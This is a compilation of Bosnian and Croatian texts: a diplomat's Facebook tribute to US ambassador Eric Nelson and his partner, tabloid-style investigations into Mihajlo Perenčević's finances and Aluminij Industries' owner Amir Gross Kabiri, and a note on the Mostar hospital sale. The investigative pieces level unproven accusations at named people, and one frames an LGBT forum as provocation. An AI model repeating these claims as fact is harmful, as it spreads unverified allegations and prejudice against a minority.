MOJI DRAGI PRIJATELJI - ERIC NELSON I FILIPPO TATTONI - MARCOZZI (Satko Bitanga, Facebook javna objava, 25. decembar, 2020.)

 

Satko Bitanga is feeling blessed in Sarajevo, Bosnia and Herzegovina.

25 D0eoc26nsember6 26f01tre2908i  ·

MOJI DRAGI PRIJATELJI - ERIC NELSON I FILIPPO TATTONI - MARCOZZI

Ambasadora Sjedinjenih Američkih Država u Bosni i Hercegovini NJE. Erica G. Nelsona upoznao sam 2006. godine u Minhenu. U to vrijeme ja sam bio generalni konzul BiH u Minhenu, a Eric Nelson je nekoliko mijeseci nakon mene postao generalni konzul SAD u glavnom gradu Bavarske.

Sjećam se dobro i našeg upoznavanja i prvog susreta. Ja sam već nekoliko mjeseci bio u Minhenu, a Eric je tek stigao i imao je prvo svoje javno obraćanje i predavanje u „Ameriken Haus“ u ovom gradu. Mislim da sam ja bio jedini generalni konuzul koji je prisustvovao tom događaju. Bilo je vrlo interesantno predavanje, pa sam sačekao da se završi, kako bih mu čestitao i poželio dobrodošlicu, ugodan boravak i uspješan diplomatski rad.

Tako je i bilo, upoznali smo se nakon završetka manifestacije. Zaželio sam mu dobrodošlicu u Minhenu i Bavarskoj, kurtoazno smo razmijenili nekoliko rečenica na njemačkom jeziku, jer Eric odlično, pored svoga maternjeg jezika, govori njemački, zatim španski, italijanski i još neke jezike. Pozdravili smo se, te razmijenili i brojeve telefona i tako je počelo naše dugogodišnje poznanstvo i prijateljstvo koje traje sve do sada. Inače, NJ. E. Eric Nelson je dugogodišnji profesionalni i vrlo uspješni američki diplomata.

Ubrzo nakon toga smo se vidjeli na jednom od diplomatskih prijema, te me je Eric tada upoznao i sa svojim dugogodišnjim partnerom Filippom Tattoni-Marcozziem, rođenim Italijanom. Nakon toga smo se često viđali, uglavnom na brojnim prijemima, te smo uspostavili na početku vrlo korektne i profesionalne odnose. Nakon izvjesnog vremena to je prešlo u druženje i prijateljstvo, a koje traje sve do danas. Često smo se u to vrijeme viđali na diplomatskim i drugim prijemima, raznim manifestacijama, izložbama, koncertima, pa smo uskoro prešli na TI, tako da su oni postali i ostali za mene samo Eric i Filippo, a ja za njih Satko.

Posebno pamtim kada me je Eric pozvao tokom mjeseca Ramazana u svoju rezidenciju, jer je organizirao iftar samo za dvojicu generalnih konzula (BiH i Turska), nekoliko udruženja i prijatelja, a kao specijalni gosti na tom iftaru bili su tadašnji američki ambasador u Berlinu i više ministara iz bavarske vlade. Eric je organizirao sve baš kako treba i po islamskim propisima, a tom događaju prisustvovao je i moj prijatelj hafiz dr. Benjamin ef. Idriz. Od tada su i njih dvojica postali poznanici, a kasnije i dobri prijatelji. Poslije toga, Eric sa svojim saradnicima iz Konzulata, moja porodica i ja smo bili Benjaminovi gosti u Islamskom centru u Penzbergu, kada je on organizirao iftar za svoje džematlije, predstavnike svih religijskih zajednica i zvaničnike Penzberga. Tom iftaru i sličnim drugim događajima prisutvovao je i Filippo, jedan predivan, kulturan, ljubazan, veseo i vrlo obrazovan čovjek. U Minhenu su Eric i Filippo upoznali i moju suprugu Narcisu i kćerku Kanitu.

Odlično se sjećam i drugog iftara, koji je Eric ponovno organizirao u svojoj rezidenciji, kada sam se nakon njega i ja obratio sa pozdravnim govorom prisutnim zvanicama. Ne mogu zaboraviti njegovu tada izgovorenu pozdravnu rečenicu: „Amerika je i zemlja muslimana i zato pored božićnog prijema, uvijek organiziram i iftar za muslimane i druge prijatelje.“

U lijepom sjećanju mi je je, pored mnogih naših zajedničkih susreta, druženja i kontakata, ostala i privatna večera čiji je domaćin bio Eric, gdje sam, uz njegovu saglasnost, pozvao kao moga gosta akademika dr. Enesa Karića, koji je u to vrijeme bio gost predavač na LMU u Minhenu.

Ja sam se vratio iz Minhena u BiH u maju 2009. godine, a Eric je nakon nekoliko mjeseci završio svoj mandat u Minhenu, te je nakon toga radio kao diplomata u drugim državama i u Washingtonu.

O tome da je Eric imenovan za ambasadora SAD u BiH saznao sam od moje supruge koja je tu vijest vidjela na TV. Bio sam obradovan i sretan da ću biti u prilici da se nakon skoro 10 godina opet vidim sa mojim prijateljima. I tako je i bilo. Naš prvi susret je bio ubrzo, nakon njegovog dolaska na poziciju ambasadora SAD u Sarajevo, na jednom prijemu u Domu Armije. Sa Ericom je bio i Filippo. Zaista smo sva trojica bili obradovani da se vidimo nakon toliko godina i to u Sarajevu. Od tada traju naša druženja i susreti.

Posebno mi je bilo drago da su Eric i Filippo prihvatili moj poziv, kada sam u restoranu „Galija“ u Sarajevu slavio svoj 59-ti rođendan, a gdje su bili prisutni moja supruga i sin Kemal. A ganuo me je skoro do suza kada mi je u decembru 2019. godine iz SAD, gdje je u to vrijeme bio, izrazio saučešće povodom smrti moje majke. Nažalost, nekoliko mjeseci kasnije umrla je i Ericova majka.

Od tada imamo povremene kontakte, jer Eric kao američki ambasador u BiH ima previše obaveza i susreta, a ja ne želim da ga ni na koji način remetim u njegovom poslu. Ali, mi nikada ne zaboravimo da jedni drugima

čestitamo

rođendane, razne praznike, kao i da dijelimo neke teške, ali i lijepe privatne trenutke koji nam se svima dešavaju.

Zadnji naš duži susret bio je u septembru ove godine kada mi je Eric došao u privatnu posjetu u Hercegovinu. Proveli smo tada nekoliko sati u opuštenom druženju pored rijeke Krupe u Hutovom blatu, vozili se čamcem i uživali u ribljim specijalitetima. Nažalost, Filipo je tada bio u Italiji, ali se nadam da će uskoro njih dvojica biti opet moji dragi gosti u mome rodnom kraju u Hercegovini. Sada Eric dosta dobro razumije i priča i naš bosanski jezik, pa često u našim razgovorima koristimo tri jezika, engleski, njemački i bosanski.

Diplomatija nije samo stroga profesija i ozbiljan posao, kao i zastupanje interesa države koju predstavljate u inostranstvu. Pored toga, diplomatija je i upoznavanje raznih ljudi, drugih običaja i kultura tokom posla u inostranstvu. Čitavo vrijeme diplomatskog rada bilo gdje u svijetu svi mi upoznamo i sretnemo puno važnih ljudi, od predsjednika, ministara, stranih diplomata, do biznismena, umjetnika i običnih ljudi, ali samo sa nekima od njih postaneš i ostaneš pravi prijatelj, bez bilo kavog interesa.

Eric i Filipo su bili i ostali prije svega moji dobri i dragi prijatelji, a posebno sam sretan što su trenutno obojica u mojoj zemlji BiH, jer njih dvojica rade odlično svoj posao, kako u interesu SAD, tako isto i u interesu naše države i svih njenih naroda i građana, bez obzira na njihovu naciju, religiju i svjetonazor. Možda sam i ličan, ali po mome mišljenu Eric je do sada najbolji i najaktivniji ambasador SAD u našoj zemlji. A normalno, u svemu tome veliku pomoć i podršku ima od Filippa.

Poštovani moji prijatelji, drag Eric, dragi Filippo koristim ovu priliku da vama i vašim porodicama

čestitam

Božić i zaželim vam dobro zdravlje, puno sreće, uspjeha u radu i sve najbolje u Novoj 2021. godini.

Do skorog viđenja u Sarajevu ili u Hercegovini pozdravljaju vas vaši prijatelji iz BiH Narcisa, Kanita, Kemal i Satko.

Punac Emila Tedeschija iz Širokog Brijega opet utekao u Moskvu (Irena Divković Milanović, Imperijal, 19.02.2021)

 http://www.imperijal.net/1/13/radar/2447/punac-emila-tedeschija-iz-sirokog-brijega-opet-utekao-u-moskvu.html?fbclid=IwAR12JYmUjvvjbrKo2AeWxnK3_psSro5Uy38IfmQIJ-aq_sZ5UwVssNHApLo

 

Nakon pisanja Imperijala

Punac Emila Tedeschija iz Širokog Brijega opet utekao u Moskvu

Mihajlo Perenčević se u kolovozu prošle godine odjavio iz Hercegovine i prijavio u ruskoj prijestolnici

 Jedan od najbogatijih i najmisterioznijih Zagrepčana, neokrunjeni je kralj Malog Lošinja a ruski mediji ga nazivaju 'hrvatskim novčanikom Vladimira Putina'. Posjeduje američku putovnicu a istodobno je s ortakom Krešimirom Filipovićem zakupac dvorca i kompleksa u Gelendžiku koji je zatočeni Aleksej Navaljni nazvao Putinovim dvorcem. Dobio je odličje predsjednika Rusije ali i ruskog patrijarha.... U članku koji slijedi razotkrivaju se njegove porezne ali i transakcije vrijedne milijarde kuna.

 

U kolovozu prošle godine, sudeći po relevantnim sudskim podacima, Mihajlo Perenčević odjavio se s adrese u Širokom Brijegu i prijavio na adresu u Favejevoj ulici u Moskvi. Predzadnje porezno utočište imao je u susjednoj Hercegovini, tradicionalnom utočištu Hrvata koji se nađu na meti pravosuđa. Doduše, Perenčevića nitko sudski ne goni ali je evidentno da počinju njegovi porezni problemi. Naime, godinama je vješto mijenjao adrese kako bi izbjegao visoka poreznih davanja sukladno ostvarenim enormnim profitima u biznisu na tri kontinenta (SAD-u, Europi i azijskom dijelu Rusije).

Istraživači okupljeni oko OCCRP-a pokušavali su detektirati zadnju adresu Mihajla Perenčevića ali u tome nisu uspjeli. Odgonetke se nekad skrivaju na lako dostupnim mjestima - sudskim ili  zemljišnim registrima. Tako je i u slučaju jednog od zasigurno financijski najtežih hrvatskih državljana - ujedno punca sina najbogatijeg hrvatskog tajkuna Emila Tedeschija koji nosi tatino ime. Prvi dokaz da je Perenčević u bijegu od američkih ili europskih poreznika posegnuo za adresom u Širokom Brijegu detektirali smo u zemljišnom registru Malog Lošinja.

Tamo se naime Perenčević sa suprugom Sonjom uknjižio kao vlasnik reprezentativne vile u uvali Čikat. Uz ime vlasnika - znakovito - nije bila upisana zagrebačka adresa - kao što je to bio slučaj s prethodnim Mihajlovim upisima u zagrebačkoj i malološinjskoj gruntovnici. Naime, te 2018. uz njegovo ime bila je upisana adresa u Ulici Kralja Zvonimira u Širokom. Slijedom tog otkrića pogledali smo stanje u registru Trgovačkog suda u Zagrebu. Tamo nas je dočekalo zanimljivo otkriće. Perenčević je naime u roku tri godine, počev od 2015., tri puta mijenjao adresu. Te godine je zamijenio LA adresu na Beverly Hillsu - 519 North Canyon Drive - adresom na Trgu  Ante Starčevića 4 u Širokom Brijegu.

Lako smo ustanovili da se na toj adresi nalazi Hotel Park s 4 i pol zvjezdice. Dakle, očito je da se Perenčević samo fiktivno iz SAD-a preselio u Široki Brijeg. Očito je to napravio iz poreznih razloga - naime tih je godina Perenčevićeva ruska tvrtka Velestroj (u originalu Velesstroy) ostvarivala ekstra profit a on je, osim hrvatskog i američki državljanin, te je vjerojatno želio izbjeći plaćanje poreza SAD-u. 

Prema podacima iz  Los Angeles gruntovnice supružnici Perenčević su na spomenutoj adresi kupili luksuznu vilu 2002. za 2,22 milijuna dolara. Vila je sada vlasništvo Sonje Perenčević. Perenčevićeva adresa na kojoj je živio prije prijave u Americi bile su zagrebačke Kozarčeve stube 3, ulica - odvojak iz Pantovčaka. Prema zemljišnim podacima vlasnik vile na toj adresi u doba socijalizma bila je tvrtka  Unikum hortikulturnog komunalnog poduzeća, OOUR Građevinarstvo.

Pravni sljednik te tvrtke je Trgovačko društvo Zrinjevac iz Zagreba. Na toj adresi, koja je prijavio 1996. kada je bio član NO-a riječke tvrtke Jadrankolor, Perenčević  nema uknjiženo vlasništvo. U tom NO-u je bio tri godine, do travnja 1999. godine. Potom se Perenčević ukazao kao fizički osnivač tvrtke Valadria u Zagrebu 2009 godine. Zanimljivo je kako je tu tvrtku osnovao preko washingtonske tvrtke Trenton & Partners LLC a koju je ugasio 2008. godine. Iako je Trenton ugašen u Americi, u završnom izvješću Valadrie za 2018. a koji potpisuje njegova snaha Ivana Perenčević, piše kako je prihod Valadrie 0 kuna te da su obveze prema Trentonu preko 13 milijuna kuna.

Preostaje nam vidjeti kakvu će čudnovatu alkemiju primijeniti Mihajlo Perenčević da vrati sredstva od skoro dva milijuna eura tvrtci koju je ugasio prije 12 godina? Iz istog registra vidljivo je i kako je Perenčević u vrijeme upisa vlasništva nad Valadriom posjedovao američku putovnicu jer je nju dao upisati kao identifikacijski dokument. U Valadriji je Perenčević kao fizička osoba i dalje jedini vlasnik dok je direktorica supruga njegovog sina Nikole. 

Ako ikada Perenčević porezno padne, kao što je u Americi zbog poreza pao Al Capone, onda bi slijed promjena adresa koji je vidljiv iz upisa Valadrije, mogao biti temeljni putokaz. Naime, nakon što je 2015. kalifornijsku adresu zamijenio hercegovačkom, Perenčević se u travnju 2016. odjavio iz širobriješkog hotela i prijavio  na moskovskoj adresi. Rezidencijalni luksuzni kompleks na adresi  2 Tverskaja Jamskaja dom 10  u Moskvi postao je novo privremeno boravište Mihajla Perenčevića.  

Na toj se adresi iznajmljuju luksuzni apartmani. Vidljivo je to iz foto galerije jer stanovnici prestižnog kompleksa imaju facinantan hol, luksuzni restoran i niz drugih zajedničkih sadržaja. Prema podacima sa službene stranice Perenčevićeve tvrtke velesstroy.com na toj adresi je sjedište njegove kompanije. Samo dvije godine kasnije, Perenčević više nije bio upisan kao moskovski rezident već se ponovno fiktivno ukazao u Širokom Brijegu. No, njegova službena adresa više nije Hotel Park već višekatnica u Ulici Kralja Tomislava 29/a.

Veliko je pitanje je li Perenčević ikada kročio u zgradu na toj adresi ili je za njega prijavu napravio neki odvjetnik iz Zagreba? Tu je promjenu adrese Mihajlo napravio u veljači 2018. godine. Zanimljivo je kako Perenčević uspijeva sakrivati tragove svoga vlasništva preko mreže kompanija osnovanih u poreznim oaza. Primjerice, vlasnik njegovog ruskog giganta Velestroja je londonski Amerco International Ltd.  U Hrvatskoj je ta tvrtka od 2005. imala registrirano predstavništvo koje je vodio stanoviti Armin Alić.

U Zagrebu je 1996. Perenčevićev dugogodišnji ortak, bivši pomoćnik u MUP-u koji je bio zadužen i za nabavu oružja tijekom Domovinskog rata Željko Tomljenović , osnovao tvrtku istog imena na kućnoj adresi u Medvedgradskoj ulici u Zagrebu. U tvrtci Amerco International d.o.o. je jedno vrijeme direktor bio njegov sin Luka da bi u tvrtci do gašenje 2007. direktorica bila Zagrepčanka Branka Despot. Ona je inače odgovorna osoba i u tvrtci Magnum HR nova koju je osnovao  Mihajlov sin Nikola a koja je sada u posjedu Alpha ulaganja.

Preko te tvrtke ruski tajkuni povezani s Perenčevićem upravljaju i hotelima u Malom Lošinju poput Vile Hygeie i Vile Flora. Tvrtka Magnum HR nova vlasnica je pretplatničkih brojeva  u Uvali Čikat 13 u Malom Lošinju.  No, na toj lokaciji se nalaze i čestice u vlasništvu Grada Lošinja i Hrvatskih šuma a iz zemljišnih knjiga su vidljivi i sudski sporovi. Naime, na terenima tik do tog kućnog broja izgrađeni su luksuzni apartmani.

U jednom objektu suvlasnica više apartmana je Mihajlova snaha Ivana koja se uknjižila na apartmane tvrtke Fil-Adria Turist koju je osnovao Perenčevićev partner Krešimir Filipović a koji je vlasništvo 2016. prepustio članu najuže obitelji Tomi Filipoviću. Na malološinjskim apartmanima upisana je zabilježba od 47.537.251,48 kuna u korist Fil-Adria Turista. Ta je tvrtka zemljišna vlasnica i vile u uvali Čikat 21 a na kojoj pretplatnički broj ima Sonja Perenčević.

Spomenuti apartmanski kompleksi nastali su kao projekt javno-privatnog partnerstva u kojem je osim Grada Malog Lošinja i Fil-Adria Turista sudjelovala i zg. tvrtka Hal odvjetnika Krešimira Lešića. On je znan i kao suprug loto djevojke i bivše Miss Jelene Glišić te sin ubijenog odvjetnika Hrvoja Lešića koji je likvidiran na Malom Lošinju kao žrtva iznude.

Između spomenutih sudionika JPP-a 2013. došlo je do razvrgnuća ortačkog ugovora a na scenu je tada stupila tvrtka Media Polis kao sljednica ugovora Fil-Adria Turista. Osnivačica i direktorica u Media Polisu je vlasnica marketinških agencija iz Zagreba Anita Bračun koja je sa suprugom Brunom poznata i kao vlasnica luksuzne vile u Jurjevskoj, koja je nekad bila vlasništvo plemenitaške obitelji Živković-Androwski-Lubienski.  Bračuni su marketinški moćnici pa samim tim i ostvaruju utjecaj na medije što je vjerojatno grupaciji oko Perenčevića jako važno.

Drugi krak utjecaja na medije Perenčević ostvaruje i preko Mario Petrovića, partnera Bože Skoke, koji je stekao Perenčevićevo povjerenje činjenicom da je i u rodbinskim odnosima s njegovom snahom Ivanom te je imenovan u NO lošinjske Jadranke. U tom su NO-u još i Krešimir Filipović koji ima prijavljenu istu moskovsku adresu koju je imao i Perenčević ali od zvučnijih imena tu je i Borislav Škegro.

Imenovanjem u NO hotelsko-turističke tvrtke Jadranka Perenčević se očito revanširao Škegri za godine u kojem je držao njegovog sina u tvrtci Quaestus partneri. S druge strane tandem Skoko-Petrović su u  Akademski savjet njihovog privatnog učilišta Edward Bernays imenovali Mihajlovog sina Nikolu Perenčevića te direktora njihove Jadranke Sanjina Šolića u Akademski savjet tog svog privatnog sveučilišta.

Predsjednica istog je ultra ambiciozna Gordana Buljan - Flander, šefica Poliklinike za zaštitu djece. Vlasnik malološinjske Jadranke je zagrebačka tvrtka Beta ulaganja čiji je vlasnik isti kao i druge, s Perenčevićem, povezane tvrtke Alfa ulaganja. Objema je vlasnik moskovska tvrtka Alfa-kapital.  Odavno traju špekulacije jesu li Perenčević ili njegovi ruski partner poput vlasnika Transnefta Nikolaja Tokarjeva koji je vlasnik vile Carolina na Malom Lošinju, vlasnici Alfa-kapitala.

No, zna se da je Perenčević, koji je s partnerima te s bratom Predragom pokupovao sve vrijedne vile u uvali Čikat na Malom Lošinju, kao dijete ljetovao tamo s roditeljima u kućici od 30-ak kvadrata te da od tada potječe njegova fascinacija tim otokom. Također, nije tajna da je Perenčević dio kruga osoba od povjerenja ruskog predsjednika Vladimira Putina. Ta je veza i javno demonstrirana jer je Perenčevićev Velestroj izabran za kompaniju koja je imala pristup u tzv. Putinov dvorac na obali Crnog mora.

Također, 2016. Putin je osobno nazočio važnom događaju za kompaniju i tada je nastala snimka razgovora Putina i Perenčevića. Punac Tedeschijeva sina uživa i veliki ugled u vrhu Ruske pravoslavne crkve što se vidjelo i po snimkama specijalnog prijama kod ruskog patrijarha Kirila kada je primio i odličje. Perenčević i njegovi najbliži suradnici Krešimir Filipović i Zlatko Penić odlikovani su 2010. od bivšeg predsjednika te kasnije dugogodišnjeg premijera Ruske Federacije Aleksandra Medvjedeva. 

Strateški važna otkrića o opsezima i vrijednosti ruskog biznisa Perenčevića i Velestroja moguće je dokučiti iz londonskog registra. Tvrtka Amerco International Ltd., sve do promjene imena u Oil Storage Ltd. i likvidacije, bila je glavna za transfer dobiti ali i troškova generiranih kroz poslovanje u Rusiji imala sjedište na adresi londonskog direktora te u Velikoj Britaniji.  Ta je tvrtka od osnivanja pa sve do godinu prije likvidacije imala minimalno oko 20 milijuna britanskih funta prihoda.

Najveće prihode  imala je 2009. - preko 142 milijuna britanskih funti. Perenčevićev modus operandi lako se da iščitati iz godišnjih izvještaja i promjena direktora. Ta strateški važna tvrtka bila je osnovana 13. srpnja 1998. a ugašena je 30. listopada 2019. Vjerojatno gašenje koincidira s pojačanim interesom neovisnih istraživača za Perenčevićeve netransparentne poslove i možebitne interkontinentalne porezne utaje.

Važno je naglasiti da je vlasnik te londonske tvrtke preko koje su kroz godine tekle stotine milijuna funti prometa bila off shore tvrtka Interport Contract iz američke porezne oaze Delaware.  I dok su milijuni putovali iz jedne zemlje u drugu, Perenčević je očito veći dio godine provodio u Moskvi gdje se kretao u visokim krugovima i posjećivao golf turnire Alfa-private kluba. U rujnu 2018. Perenčević se ukazao i kao sudionik prestižnog golf turnira u francuskom Biarritzu u društvu europske elite i pripadnika europskog plemstva.

Za to vrijeme njegova supruga Sonja veći dio godine provodi u Los Angelesu gdje je vlasnica ne samo nekoliko vila već i spomenutog restorana te nekoliko tvrtki. U posljednje vrijeme sve više ruskih medija iskazuje golem interes za razotkrivanje tajnih Perenčevićevih transakcija. Ako je njegovo ime bilo vrhunska ulaznica Emilu Tedeschiju za proboj na tržište Rusije, očito je kako će ta ulaznica sada imati i jednu dodatnu, hipotekarnu stranu. Špekulira se kako Tedeschi želi preuzeti Podravku te da u tome računa na novu šeficu Martinu Dalić o čemu smo već pisali. Također, objavili smo članak kako je Perenčevićev ortak Krešimir Filipović interesno povezan s nedavno zbog obiteljskog nasilja uhićenim čelnikom Fortenove Miodragom Borojevićem.

(Napomena: Članak Irene Divković Milanović je u izvornom obliku objavljen na stranicama tabloida Imperijal prošle godine. Nakon objave članka Mihajlo Perenčević se odjavio sa širokobriješke i ponovno prijavio moskovsku adresu).

 

 

 

 

Za nešto više od 6 milijuna eura Mostar: Grbešić iz Splita kupio Staru bolnicu (Miroslav Landeka, Slobodna Dalmacija 27. listopada 2008.)

 https://slobodnadalmacija.hr/vijesti/regija/mostar-grbesic-iz-splita-kupio-staru-bolnicu-26592

 

Grad Mostar skoro je prenio u vlasništvo Kliničke bolnice Mostar zemljište na kojem je sada smještena Stara bolnica na ukupno 12.310 metara četvornih i objekata ukupne površine 5136 metara četvornih.

Kako se Stara bolnica seli u novoobnovljene prostore na Bijeli Brijeg, KB Mostar provela je međunarodni natječaj na koji su pristigle ponude širokobriješkog poduzetnika Mirka Grbešića i tvrtke Brodomerkur iz Splita. Druga ponuda za kupovinu Stare bolnice također je bila Grbešićeva, i to u ime tvrtke Mepas. Ona je iznosila 12.083.000 KM, a bila je nešto niža od ponude Brodomerkura koja iznosila 12.102.000 KM.

Grbešićev Brodomerkur kupio je 12.310 metara četvornih zemljišta i objekt površine 5136 metara četvornih
Piše MIROSLAV LANDEKA

 - Konačnu odluku o boljoj ponudi donijet ćemo u roku od pet dana, a konačni potpis za dvadeset dana - izjavio je Eugen Šušak, jedan od članova Povjerenstva za prodaju nekretnina KB-a Mostar. Nakon konačne odluke, rok žalbe na odluku povjerenstva bit će pet dana, a nakon toga uslijedit će i potpisivanje ugovora između KB-a Mostar i najboljeg ponuđača. Osim ovih dviju, drugih ponuda za kupovinu zemljišta i objekata Stare bolnice nije bilo, tako da je prodana za nešto više od procjene vrijednosti nekretnine koja je iznosila 12.071.309 KM ili 6.163.548 eura.

Prema uvjetima natječaja, odnosno sporazumu Grada Mostara i KB Mostar, 30 posto novca od prodaje nekretnine, ili oko 4 milijuna KM, ide na račun Grada, a taj novac utrošit će se na izgradnju kulturno-sportskog centra čija prva faza gradnje počinje za tjedan dana.

 

Fotografije lokacije na kojoj se gradi Sportsko-kulturni centar napravila Aleksandra Miletić-Šantić 4. januara 2018.

(za više informacija kontaktirati autoricu)

 

 

RAZOTKRIVAMO: “Novi” Aluminij organizira do sada najveći PRIDE forum na Balkanu u tvornici Aluminija! (Marija Tavelić, Otpor media, 16. 07.2021)

 https://otpor.media/razotkrivamo-novi-aluminij-organizira-do-sada-najveci-pride-forum-na-balkanu-u-tvornici-aluminija/

Skrinšotovi relevantnih podataka preuzeti sa zvanične stranice stranice Aluminij Industries doo (www.aluminij.ba) i registra poduzeća BiH (bizreg.pravosudje.ba) 6.januara 2022. (Aleksandra Miletić-Šantić)

 

 

Sam naslov izgleda čudan, pomalo bizaran, jer kakve veze ima tvornica aluminija i proizvodnja aluminija sa forumima koji veličaju i podržavaju LGBT zajednicu!

Iz bliskih i pouzdanih izvora Aluminiju d.d., kao i samoj kompaniji Aluminij industries doo (najmoprimac pogona Ljevaonice u Aluminiju d.d.), saznajemo vrlo zanimljivu i pomalo čudnu informaciju da će se u petak 16.07. 2021 sa početkom u 11:30 u Tvornici Aluminija održati veliki regionalni forum o veličanju, propagiranju i podršci LGBT zajednici, te širenju navedene zajednice u BIH i Regiji.

Agenda samog Foruma je u organizaciji gosp Amir Gross Kabirija koji je i vlasnik Aluminij industries doo koja je dijelom iznajmila određene pogone u Aluminiju d.d..

Ovo nije prvi put da gosp Kabiri ne krije pripadnost LGBT zajednici, što je njegovo ljudsko, autonomno i neprikosnoveno pravo kada su u pitanju ljudske slobode pa i seksualne orijentacije, ali para uši i dovodi običnog građanina BiH da se zapita, kakve veze ima proizvodnja aluminija sa navedenim događajem, zašto se Forum održava u prostorima Aluminija d.d., te da li u Ugovoru o najmu prostora Ljevaonice stoji da Najmoprimac može koristiti prostore Aluminija d.d. za bilo kakve skupove koji nisu usko povezani sa osnovnom djelatnošću kompanije. Nadzornom odboru i Vladi F BiH ostaje da pojasne da li je ovo zlouporaba Ugovora o najmu.

Još prije nekoliko tjedana na ulazu same tvornice Aluminij d.d. bila je izvješena zastava duginih boja (simbol LGBT zajednice), a koja je izazvala nervozu i kritike kako javnosti tako i velikog broja radnika koji su zaposleni u tvornici. Radnici su bili spremni pisati i peticiju upravi Aluminij industries doo da se zastava ukloni, jer provocira vjeru, kulturu, tradiciju i osobnost većine radnika, a mjesto joj svakako nije na jarbolu kompanije Aluminij d.d. u kojem je radilo nekada 900 radnika i gdje je Aluminij bio najveći izvoznik u BiH. Inače zastava je izvješena na lokaciji koja nije u najmu Aluminij industries doo.

Zastava je ubrzo i uklonjena.

Međutim, gosp Kabirija prate brojne kontraverze od samog dolaska u BiH i najma dijela pogona Aluminij d.d. gdje je medijima i javnosti predstavljen kao „Investitor“ koji će podignuti „Novi Aluminij“ i riješiti nagomilane decenijske probleme i dugove.

Istina je velikim dijelom potpuno drugačija, a u prilog tome ide i činjenica javne najave ovog foruma koji je objavljen na facebook stranici Aluminija, te na web stranici, a možete ga pronaći na adresi: http://equality.ba . Postavlja se pitanje je li Ugovor o najmu istinski sklopljen da se podigne nekadašnji posrnuli „Div“, ili su namjere Investitora posve drugačije. Ostaje na vama da zaključite.

Na dnevnom redu Foruma koji je najavljen jedan od sudionika je i Marko Mihailović direktor Pride udruženja Srbija, a teme o kojima će se govoriti su:

Prepoznavanje poteškoća sa kojima se suočavaju pripadnici LGBT zajednice na tržištu rada i obrazovanju

Jačanje položaja LGBT zajednice u društvu kroz korporativne politike

Analiza inkluzivnih poslovnih modela: prepoznavanje slabosti i mogućnosti za razvoj LGBT turizma….. itd

Kontraveznost gosp Kabirija se ogleda u mnogostrukim činjenicama, a jedna od ključnih jeste da je prikazujući se kao investitor sa ogromnim kapitalom iskoristio slabosti sustava i politike u FBiH i praktički dobio pravo na korištenje većeg dijela tvornice Aluminij d.d., a u stvari taj kapital gosp Kabiri i Abraham Grupa do sada nisu prikazali, što se dade zaključiti da i ne postoji.

Zatim, gosp Kabiri je pokrenuo proizvodnju bez da je ispunio najvažniji i ključni element iz ugovora o najmu, a to je članak 12. u kojem stoji da proizvodnju ne smije pokrenuti bez konsenzusa i suglasnosti vjerovnika koji potražuju od Aluminija cca 400 mil KM, gdje je navedeno da će dobiti i imati pisane suglasnosti što podrazumijeva da je sa vjerovnicima dogovorio i otkupe dugova. Međutim to se nije dogodilo. Dugovi vjerovnika u iznosu 400 mil KM vise u zraku, te ništa nije poduzeto da se otkupe, reprogramiraju, ili na neki drugi način riješe. Ništa nije poduzeto po pitanju restrukturiranja/promjene vlasničke strukture.

Aluminij d.d.- akumulirani gubitak cca 2 puta veći od upisanog kapitala, obveze vjerovnicima i kreditorima cca 400 mil KM, cjelokupna imovina pod hipotekama vjerovnika i ovrhama na sudovima, proizvodnja ugašena, nema prihoda, nema redovitih i osnovnih aktivnosti. Jedini prihod Aluminija jeste najamnina od 30 000 KM mjesečno za najam pogona ljevaonice. U Aluminij d.d. je cca 5 stalno uposlenih koje nadzire 7 članova Nadzornog odbora. Prihod od najamnine se raspoređuje za isplate članovima NO kojih je više od broja uposlenih te navedenom malom broju uposlenika – To je stanje Aluminija d.d. danas.

Iz pouzdanih izvora iz Aluminija saznajemo da je gosp Kabiri tj Aluminij industries doo iznevjerio očekivanja, nije ispoštovao ugovoreno i dogovoreno, te je lokalna politika, Vlada F BiH zamrznula svaku komunikaciju sa Najmoprimcem, pa čak i Nadzorni odbor izravno ne komunicira sa najmoprimcem već preko posrednika.

Želimo se vratiti u 2019 i 2020 godinu, kada su otpočeti pregovori Vlade F BiH i strateškog investitora.

Investitor se predstavljao kao Konzorcij: Abraham Group i China Machinery Engineering

Corporation i China Nonferrous Metal Industry’s Foreign & Construction Co.Ltd.

Stvarna istina jeste:

Navedene dvije kineske firme koje su u državnom kineskom vlasništvu su dovedene kao paravan. Stvarni konzorcij ne postoji, tj ne postoji nikakav pravni ugovor o konzorciju, a Kinezi su se jedanput ili dvaput pojavili kao „Paravan“ radi vizualnog prikaza boniteta investitora. Međutim, nitko u Vladi ili Aluminiju nije provjerio istinitost postojanja konzorcija, kapital, financijske izvještaje, bonitet, snagu itd… a nakon toga perioda Kineza nema niti im se može ući u trag. Mada su navedeni Kinezi uredno navedeni u ugovoru o najmu, a nisu potpisnici ugovora.

MT Abraham Group Izrael iza koje stoji dotični gosp Kabiri – također nitko o navedenoj tvrtki ne zna ništa, kakav joj je bonitet, bilance, poslovanje, prihodi, dobit – nije prikazano nikakvo postojanje kapitala, osim spoznaje koja je curila po medijima da je riječ o firmi koja se bavi umjetninama i galerijama.

Na kraju balade potpisnik ugovora o najmu nisu ni Kinezi, niti Abraham Group, već Aluminij industries doo registriran kao domaća tvrtka sa sjedištem u Mostaru sa osnivačkim kapitalom od 5000 KM. Tako ostaje nesporna činjenica da je Aluminij d.d. iznajmljen novoregistriranoj firmi u Mostaru sa bonitetom, tj kapitalom od 5000 KM. Do sada pod zaštitom i okriljem MT Abraham Grupe te kineskih firmi koje ne postoje u ugovornom i poslovnom smislu, Vlada F BiH je osigurala spas Aluminija davši ga na poklon firmi sa ukupnim kapitalom od 5000 KM.

Vlasnik te domaće kompanije Aluminij industries doo je u 100% iznosu prvotno bio fizička osoba tj Amir Gross Kabiri, a što je i zavedeno u registracijskim dokumentima na općinskom sudu u Mostaru.

Najmoprimac tj Aluminij industries doo pokreće proizvodnju u 11 mjesecu 2020, te se do kraja ožujka 2021. proizvode minorne tj male količine trupaca uglavnom od pretapanja otpadnog aluminija, te kompanija u tom periodu ostvaruje gubitke. Zatim dolazi do promjene vlasničke strukture firme Aluminij industries doo, te se kao vlasnik briše lice A. Gross Kabiri, a 100% vlasnik kompanije postaje MT Abraham Group Panama iz Paname.

Detalje o vlasničkoj strukturi možete provjeriti na web adresi:

https://bizreg.pravosudje.ba navedeno nije slučajnost već strategija i namjera.

